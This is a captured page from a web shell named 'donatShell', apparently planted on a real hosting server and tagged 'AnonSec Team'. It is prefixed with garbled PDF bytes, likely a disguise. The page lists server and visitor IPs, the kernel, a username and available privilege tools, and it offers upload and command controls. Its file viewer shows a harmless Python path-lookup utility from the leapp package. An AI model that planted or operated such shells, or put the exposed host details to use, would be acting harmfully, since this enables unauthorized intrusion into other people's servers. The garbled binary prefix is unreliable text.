%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/site-packages/leapp/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python2.7/site-packages/leapp/utils/path.py
import os


def get_file_path(directories, name):
    """
    Finds the first matching file path within directories.

    :param name: Name of the file
    :type name: str
    :return: Found file path
    :rtype: str or None
    """
    for path in directories:
        path = os.path.join(path, name)
        if os.path.isfile(path):
            return path


def get_folder_path(directories, name):
    """
    Finds the first matching folder path within directories.

    :param name: Name of the folder
    :type name: str
    :return: Found folder path
    :rtype: str or None
    """
    for path in directories:
        path = os.path.join(path, name)
        if os.path.isdir(path):
            return path


def get_tool_path(directories, name):
    """
    Finds the first matching executable file within directories.

    :param name: Name of the file
    :type name: str
    :return: Found file path
    :rtype: str or None
    """
    for path in directories:
        path = os.path.join(path, name)
        if os.path.isfile(path) and os.access(path, os.X_OK):
            return path


# NOTE(ivasilev) You can use the functions below standalone with
# repository = load_repositories_from('repo_path', '/etc/leapp/repo.d/', manager=None)
def get_common_file_path(repository, name):
    return get_file_path(repository.files, name)


def get_common_folder_path(repository, name):
    return get_folder_path(repository.files, name)


def get_common_tool_path(repository, name):
    return get_tool_path(repository.files, name)

Anon7 - 2022
AnonSec Team